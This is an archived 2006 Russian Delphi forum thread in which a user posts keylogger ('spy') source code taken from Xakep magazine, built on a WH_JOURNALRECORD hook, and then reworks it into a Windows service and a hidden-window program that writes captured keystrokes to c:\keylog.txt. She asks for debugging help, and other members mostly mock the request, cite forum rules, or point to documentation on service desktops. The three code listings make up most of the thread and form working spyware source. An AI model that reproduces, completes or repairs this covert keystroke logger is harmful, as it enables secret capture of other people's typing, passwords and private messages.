Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Прочее";
Текущий архив: 2006.10.15;
Скачать: [xml.tar.bz2];

Вниз

Шпион   Найти похожие ветки 

 
S@sha   (2006-09-21 19:35) [0]

Вычитала из Хакера, как написать свой шпион без всяких библиотек, мне понравилось:

uses
  ..AppEvnts;

type
  TForm1 = class(TForm)
   Memo1: TMemo;
   procedure FormDestroy(Sender: TObject);
   procedure FormCreate(Sender: TObject);
   procedure OnAppMessage(var Msg: TMsg; var Handled: Boolean);
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

var
HookHandle : THandle = INVALID_HANDLE_VALUE;

function HookProc(nCode: integer; WParam: Word; LParam: LongInt): Longint; stdcall;
var
EventMsg : PEventMsg;      // Указатель EventMsg
VirtCode : byte;           // Виртуальный код
ScanCode : dword;          // Скан-код
KeyState : TKeyboardState; // Состояние клавиатуры
Tmp, S : string;           // Временные переменные
Res      : integer;
begin
  s := "";
  if nCode = HC_ACTION then  begin
    EventMsg := pointer(LParam);
    case EventMsg^.message of
     WM_LBUTTONDOWN : S := "нажата левая кнопка мыши";
     WM_RBUTTONDOWN : S := "нажата правая кнопка мыши";
     WM_LBUTTONUP   : S := "отпущена левая кнопка мыши";
     WM_RBUTTONUP   : S := "отпущена правая кнопка мыши";
     WM_MOUSEMOVE   : S := "перемещение мыши"+
                           " (X="+IntToStr(EventMsg^.paramL) +
                           ", Y=" + IntToStr(EventMsg^.paramH)+")";
     WM_KEYDOWN     : begin
                        // Выделение виртуального кода и скан-кода
                        VirtCode := EventMsg^.paramL and $FF;
                        ScanCode := (EventMsg^.paramL and $FF00) shl 8;
                        // Выделение буфера для строки
                        SetLength(Tmp, 32);
                        // Получение имени по коду, Res - длина возвращенной строки
                        Res := GetKeyNameText(ScanCode,
                                               @Tmp[1], Length(Tmp));
                        S := "Нажата клавиша ""+copy(Tmp, 1, Res)+""";
                        // Опрос состояния клавиатуры
                        GetKeyboardState(KeyState);
                        // Получение символа по кодам
                        Res := ToAscii(VirtCode, ScanCode, KeyState, @Tmp[1], 0);
                        if Res > 0 then
                         S := S + " символ = ""+copy(Tmp, 1, Res)+""";
                      end;
     else
      S := "message с кодом "+IntToHex(EventMsg^.message, 4);
    end;
    Form1.Memo1.Lines.Add(s);
  end;
  Result := CallNextHookEx(HookHandle, nCode, wParam, LParam);
end;

function InstallHook : boolean;
begin
if HookHandle = INVALID_HANDLE_VALUE then
 HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, hInstance, 0);
Result := HookHandle <> INVALID_HANDLE_VALUE;
end;

function RemoveHook : boolean;
begin
if HookHandle <> INVALID_HANDLE_VALUE then
 UnhookWindowsHookEx(HookHandle);
HookHandle := INVALID_HANDLE_VALUE;
Result := true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
RemoveHook;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Application.OnMessage := OnAppMessage;
InstallHook;
end;

procedure TForm1.OnAppMessage(var Msg: TMsg; var Handled: Boolean);
begin
if (Msg.message = WM_CANCELJOURNAL) and (HookHandle <> INVALID_HANDLE_VALUE) then begin
 HookHandle := INVALID_HANDLE_VALUE;
 InstallHook;
 Memo1.Lines.Add("<< Выполнена переустановка ловушки >>");
 Handled := true;
end;
end;

end.


я решила сделать это сервисом, т.е. переписать все в сервисе и чтобы сохранялось все в текстовом файле:


uses
 ..AppEvnts;

type
 TService1 = class(TService)
   procedure ServiceCreate(Sender: TObject);
   procedure ServiceDestroy(Sender: TObject);
   procedure ServiceStart(Sender: TService; var Started: Boolean);
   procedure ServiceStop(Sender: TService; var Stopped: Boolean);
 private
   procedure WMCancelJournal(var Message: TMessage); message WM_CANCELJOURNAL;
 public
   function GetServiceController: TServiceController; override;
 end;

var
 Service1: TService1;

implementation

{$R *.DFM}

var
 LogFile: TextFile;
 HookHandle : THandle = INVALID_HANDLE_VALUE;

procedure ServiceController(CtrlCode: DWord); stdcall;
begin
 Service1.Controller(CtrlCode);
end;

function TService1.GetServiceController: TServiceController;
begin
 Result := ServiceController;
end;

function HookProc(nCode: integer; WParam: Word; LParam: LongInt): Longint; stdcall;
var
EventMsg : PEventMsg;
VirtCode : byte;
ScanCode : dword;
KeyState : TKeyboardState;
Tmp, S : string;
Res      : integer;
begin
  s := "";
  if nCode = HC_ACTION then  begin
    EventMsg := pointer(LParam);
    case EventMsg^.message of
     WM_LBUTTONDOWN : begin
                        S := "Нажата левая кнопка мыши";
                        WriteLn(LogFile, S);
                        Flush(LogFile);
                      end;
     WM_KEYDOWN     : begin
                        VirtCode := EventMsg^.paramL and $FF;
                        ScanCode := (EventMsg^.paramL and $FF00) shl 8;
                        SetLength(Tmp, 32);
                        Res := GetKeyNameText(ScanCode, @Tmp[1], Length(Tmp));
                        S := "Нажата клавиша ""+copy(Tmp, 1, Res)+""";
                        GetKeyboardState(KeyState);
                        Res := ToAscii(VirtCode, ScanCode, KeyState, @Tmp[1], 0);
                        if Res > 0 then
                         S := S + " символ = ""+copy(Tmp, 1, Res)+""";
                        WriteLn(LogFile, S);
                        Flush(LogFile);
                      end;
    end;
  end;
  Result := CallNextHookEx(HookHandle, nCode, wParam, LParam);
end;

function InstallHook : boolean;
begin
 if HookHandle = INVALID_HANDLE_VALUE then
   HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, hInstance, 0);
 Result := HookHandle <> INVALID_HANDLE_VALUE;
end;

function RemoveHook : boolean;
begin
 if HookHandle <> INVALID_HANDLE_VALUE then
   UnhookWindowsHookEx(HookHandle);
 HookHandle := INVALID_HANDLE_VALUE;
 Result := true;
end;

procedure TService1.WMCancelJournal(var Message: TMessage);
begin
 if HookHandle <> INVALID_HANDLE_VALUE then
   begin
     HookHandle := INVALID_HANDLE_VALUE;
     InstallHook;
     WriteLn(LogFile, "<< Выполнена переустановка ловушки >>");
   end;
end;

procedure TService1.ServiceStart(Sender: TService; var Started: Boolean);
begin
 AssignFile(LogFile, "c:\keylog.txt");
 if FileExists("c:\keylog.txt") then
   Append(LogFile)
 else
   Rewrite(LogFile);
 InstallHook;
end;

procedure TService1.ServiceStop(Sender: TService; var Stopped: Boolean);
begin
 RemoveHook;
 CloseFile(LogFile);
end;

end.


Т.к. события в сервисе Application.OnMessage я не нашла, решила сделать сообщением WM_CANCELJOURNAL. Но так почему-то не работает...((( Пробовала делать инициализацию хука в ServiceCreate, то там он почему-то зацикливается чтоли... а в ServiceStart все хорошо, но в обоих случаях записи в текстовый файл не происходит...((( Мастера, подскажите пожалуйста в чем проблема?


 
Ketmar ©   (2006-09-21 19:39) [1]

проблема в полном непонимании сути хуков и сервисов. не надо из сервиса хуки ставить. %-)


 
Virgo_Style ©   (2006-09-21 19:40) [2]

см. здесь, п. 6 во втором подразделе
http://www.delphimaster.ru/forums.shtml#rule


 
S@sha   (2006-09-21 19:47) [3]

Virgo_Style, Так это же не вредоносный код... Темболее сейчас шпионы продаются совершенно легально... Так что все по закону...)))

Ketmar, а чем сервис не программа? Первый пример именно в программе хуки работают...


 
Ketmar ©   (2006-09-21 19:50) [4]

сервис, конечно, программа. но особенная. сильно советую покурить какую-нибудь документацию. хоть обзорную.


 
Leonid Troyanovsky ©   (2006-09-21 19:52) [5]


> Ketmar ©   (21.09.06 19:39) [1]
> Virgo_Style ©   (21.09.06 19:40) [2]


Резимюруя:
1. Не надо читать журнал Х.
2. Не надо экстраполировать (в область неизведанного).
3. Не надо поднимать скользких темы анонимно.

--
Regards, LVT.

PS: Sorry, у меня нынче склонность к обобщениям.


 
Ketmar ©   (2006-09-21 19:54) [6]

>[5] Leonid Troyanovsky(c) 06-09-21 19:52
>1. Не надо читать журнал Х.
особенно перед обедом. %-)


 
Leonid Troyanovsky ©   (2006-09-21 19:55) [7]


> Leonid Troyanovsky ©   (21.09.06 19:52) [5]

> Резимюруя:


Sorry^2

--
Regards, LVT.


 
Leonid Troyanovsky ©   (2006-09-21 19:59) [8]


> Ketmar ©   (21.09.06 19:54) [6]

> >1. Не надо читать журнал Х.
> особенно перед обедом. %-)


:)

Я б, собс-но, и после не рекомендовал.
Бо, портит душевный настрой-с.

--
Regards, LVT.


 
S@sha   (2006-09-21 19:59) [9]

На сколько я поняла, что в сервисах ловушки не работают? Я пробовала и в программе без окна сделать что-то похожее:

Форму убрала из авто-создания...

program Internat32;

uses
 Forms,
 Windows,
 Unit1 in "Unit1.pas" {Form1};

{$R *.res}

var
WhEvent: THandle;

begin
 Application.Initialize;
 ShowWindow(Application.Handle, SW_HIDE);
 Form1 := TForm1.Create(nil);
 Application.Run;
end.

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, AppEvnts;

type
 TForm1 = class(TForm)
   procedure FormCreate(Sender: TObject);
   procedure FormDestroy(Sender: TObject);
   procedure OnAppMessage(var Msg: TMsg; var Handled: Boolean);
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

var
 LogFile: TextFile;
 HookHandle : THandle = INVALID_HANDLE_VALUE;

function HookProc(nCode: integer; WParam: Word; LParam: LongInt): Longint; stdcall;
var
 EventMsg : PEventMsg;
 VirtCode : byte;
 ScanCode : dword;
 KeyState : TKeyboardState;
 Tmp, S : string;
 Res      : integer;
begin
 s := "";
 if nCode = HC_ACTION then
   begin
     EventMsg := pointer(LParam);
     if EventMsg^.message = WM_KEYDOWN then
       begin
         VirtCode := EventMsg^.paramL and $FF;
         ScanCode := (EventMsg^.paramL and $FF00) shl 8;
         SetLength(Tmp, 32);
         Res := GetKeyNameText(ScanCode, @Tmp[1], Length(Tmp));
         S := "Нажата клавиша ""+copy(Tmp, 1, Res)+""";
         GetKeyboardState(KeyState);
         Res := ToAscii(VirtCode, ScanCode, KeyState, @Tmp[1], 0);
         if Res > 0 then
           S := S + " символ = ""+copy(Tmp, 1, Res)+""";
         WriteLn(LogFile, S);
         Flush(LogFile);
       end;
   end;
 Result := CallNextHookEx(HookHandle, nCode, wParam, LParam);
end;

function InstallHook: boolean;
begin
 if HookHandle = INVALID_HANDLE_VALUE then
   HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, hInstance, 0);
 Result := HookHandle <> INVALID_HANDLE_VALUE;
end;

function RemoveHook: boolean;
begin
 if HookHandle <> INVALID_HANDLE_VALUE then
   UnhookWindowsHookEx(HookHandle);
 HookHandle := INVALID_HANDLE_VALUE;
 Result := true;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 Application.OnMessage := OnAppMessage;

 AssignFile(LogFile, "c:\keylog.txt");
 if FileExists("c:\keylog.txt") then
   Append(LogFile)
 else
   Rewrite(LogFile);

 InstallHook;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
 RemoveHook;
 CloseFile(LogFile);
end;

procedure TForm1.OnAppMessage(var Msg: TMsg; var Handled: Boolean);
begin
 if (Msg.message = WM_CANCELJOURNAL) and (HookHandle <> INVALID_HANDLE_VALUE) then
   begin
     HookHandle := INVALID_HANDLE_VALUE;
     InstallHook;
     WriteLn(LogFile, "<< Выполнена переустановка ловушки >>");
     Handled := true;
   end;
end;

end.


Тоже самое, не работает...(((


 
Leonid Troyanovsky ©   (2006-09-21 20:04) [10]


> S@sha   (21.09.06 19:59) [9]

> На сколько я поняла, что в сервисах ловушки не работают?


Отнюдь. Т.е., легко убедиться путем анализа GetLastError.

Только, в этом не вся правда. Как, впрочем, и в остальном.

--
Regards, LVT.


 
S@sha   (2006-09-21 21:00) [11]

Скажите пожалуйста почему и программа не ловит хуки? (((


 
Ketmar ©   (2006-09-21 21:03) [12]

>[11] S@sha 21-Sep-XLI A.S., 21:00
>Скажите пожалуйста почему и программа не ловит
>хуки? (((
потому что кое-кто не дружит с мануалами.


 
Leonid Troyanovsky ©   (2006-09-21 21:12) [13]


> S@sha   (21.09.06 21:00) [11]

> Скажите пожалуйста почему и программа не ловит хуки? (((


http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/desktops.asp

--
Regards, LVT.


 
Eraser ©   (2006-09-21 22:15) [14]

> [1] Ketmar ©   (21.09.06 19:39)
> проблема в полном непонимании сути хуков и сервисов. не
> надо из сервиса хуки ставить. %-)

ну почему же? вполне можно, только надо учесть такой механизм как fast user switching и выставить вручную соответстующие права в CreateFileMapping и MapViewOfFile.


 
Leonid Troyanovsky ©   (2006-09-21 22:23) [15]


> Eraser ©   (21.09.06 22:15) [14]

> как fast user switching и выставить вручную соответстующие
> права в CreateFileMapping


А причем здесь CreateFileMapping?
Это, можно сказать, всего лишь возможные детали реализации.

В корне проблемы то, что у сервиса - свой десктоп,
о чем бы неплохо б было даже RTFM.

--
Regards, LVT.


 
Орион ©   (2006-09-22 00:11) [16]

ой-йе. Сожги все номера Хакера, а пепел развей по ветру.


 
Eraser ©   (2006-09-22 01:09) [17]

> [15] Leonid Troyanovsky ©   (21.09.06 22:23)


> В корне проблемы то, что у сервиса - свой десктоп,

упс.. просто проект, над которым сейчас работаю - интерактивый сервис, вот этот момент и не учел :) (не пинать - там по-другому нельзя, вернее можно, но с доп. накладными расходами, в висте прийдется отказаться от работы в режиме интеракт. сервиса).


 
Elen ©   (2006-09-22 08:18) [18]


> Вычитала из Хакера, как написать свой шпион без всяких библиотек

Чем же библиотики так помешали?


 
Ketmar ©   (2006-09-22 08:24) [19]

>[18] Elen(c) 22-Sep-XLI A.S., 08:18
>Чем же библиотики так помешали?
некошерно, наверное.


 
Орион ©   (2006-09-22 08:48) [20]

> [18] Elen ©   (22.09.06 08:18)

А это что бы размер шпиЁна был еще меньше, что бы хватило места на код для инжекции икноки в область часов %))


 
Ketmar ©   (2006-09-22 08:49) [21]

>[20] Орион(c) 22-Sep-XLI A.S., 08:48
>хватило места на код для инжекции икноки в
>область часов %))
запомни, это называется "запуздырить".


 
Орион ©   (2006-09-22 09:00) [22]

> [21] Ketmar ©   (22.09.06 08:49)

Наслышан, наслышан)
Но запуздыривало предидущее поколение... %)


 
Орион ©   (2006-09-22 09:00) [23]

ЗЫ Хотя все в этом мире циклично...


 
Ketmar ©   (2006-09-22 09:02) [24]

>[22] Орион(c) 22-Sep-XLI A.S., 09:00
>Наслышан, наслышан)
>Но запуздыривало предидущее поколение... %)
так традиции, однако... надо передавать.


 
S@sha   (2006-09-22 09:36) [25]

Я так и не поняла почему такая программа не ловит хуки...(((


 
Ketmar ©   (2006-09-22 09:37) [26]

>[25] S@sha 22-Sep-XLI A.S., 09:36
>Я так и не поняла почему такая программа не ловит
>хуки...(((
метла -- в ближайшем магазине хозтоваров.


 
Palladin ©   (2006-09-22 09:44) [27]


> Ketmar ©   (22.09.06 09:37) [26]

слушай :) тыб давно уже с производителями метел договорился... а то рекламируешь задаром... столько денег потерял уже... :)


 
Ketmar ©   (2006-09-22 09:48) [28]

>[27] Palladin(c) 22-Sep-XLI A.S., 09:44
>слушай :) тыб давно уже с производителями метел
>договорился... а то рекламируешь задаром...
>столько денег потерял уже... :)
я токмо из любви к чистоте...


 
Elen   (2006-09-22 10:24) [29]


> Я так и не поняла почему такая программа не ловит хуки...(((

А ты просто интересуешся или тебе ЧаВо написать задумано?


 
Ketmar ©   (2006-09-22 10:25) [30]

>[29] Elen 22-Sep-XLI A.S., 10:24
> А ты просто интересуешся или тебе ЧаВо написать
>задумано?
видимо, кроме хацкера ничего больше не читают по религиозно-мистическим причинам.


 
Elen   (2006-09-22 10:26) [31]


> S@sha

Вдогонку - не все виды хуков можно описать без ДЛЛ (помоему даже большую их часть).


 
Elen   (2006-09-22 10:28) [32]


> Ketmar

Что эт ты, дядя Ketmar, редигией погонять начал? :-). Никак уверовал во что-енто?


 
Ketmar ©   (2006-09-22 10:30) [33]

>[32] Elen 22-Sep-XLI A.S., 10:28
>Что эт ты, дядя Ketmar, редигией погонять начал?
>:-). Никак уверовал во что-енто?
в то, что ошибки DNA неизлечимы. проверено личным опытом.


 
Elen   (2006-09-22 10:33) [34]


> Elen

Ничего. Вот помыкается Автор со своим вопросиком и даст бог поймет что не лишне порулить мануалы. Т.К. сам автор не знает ответ на вопрос - "А что же я хочу получить?". И благородным Мастерам как раз и нужно натолкнуть его(ее) на путь истинный-Правильно Вопросительный


 
Ketmar ©   (2006-09-22 10:34) [35]

>[34] Elen 22-Sep-XLI A.S., 10:33
>же я хочу получить?". И благородным Мастерам как
>раз и нужно натолкнуть его(ее) на путь
>истинный-Правильно Вопросительный
неа. достаточно просто довести до магазина хозтоваров.


 
Игорь Шевченко ©   (2006-09-22 11:02) [36]

Ketmar ©   (22.09.06 10:34) [35]

Сноб :)

автору: Мне только одно пока непонятно - а нафига шпионы делать ? Может, лучше за это время окончить архитектурный институт или изобрести самодвижущееся пресс-папье ? Всяко обществу пользы больше будет.


 
S@sha   (2006-09-22 18:58) [37]

Просто хочу потренероваться и интересно... что здесь такого...


 
Furyz ©   (2006-09-22 22:47) [38]

> Просто хочу потренероваться и интересно... что здесь такого...

чему учит журнал Хакер - хакерство из озорства



Страницы: 1 вся ветка

Форум: "Прочее";
Текущий архив: 2006.10.15;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.57 MB
Время: 0.042 c
3-1156101812
Lexander
2006-08-20 23:23
2006.10.15
Ошибка "Запись удалена" (Access)


15-1158649192
IceBeerg
2006-09-19 10:59
2006.10.15
Удаление папки без имени


3-1155531417
D@Nger
2006-08-14 08:56
2006.10.15
Востановление индексных файлов в Paradox


2-1159379107
dreamse
2006-09-27 21:45
2006.10.15
Как вытащить имя файла из пусти без расширения ?


6-1148201699
Мигель
2006-05-21 12:54
2006.10.15
Как скачать фото с сайта? Контент в виде HTML скачивается





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский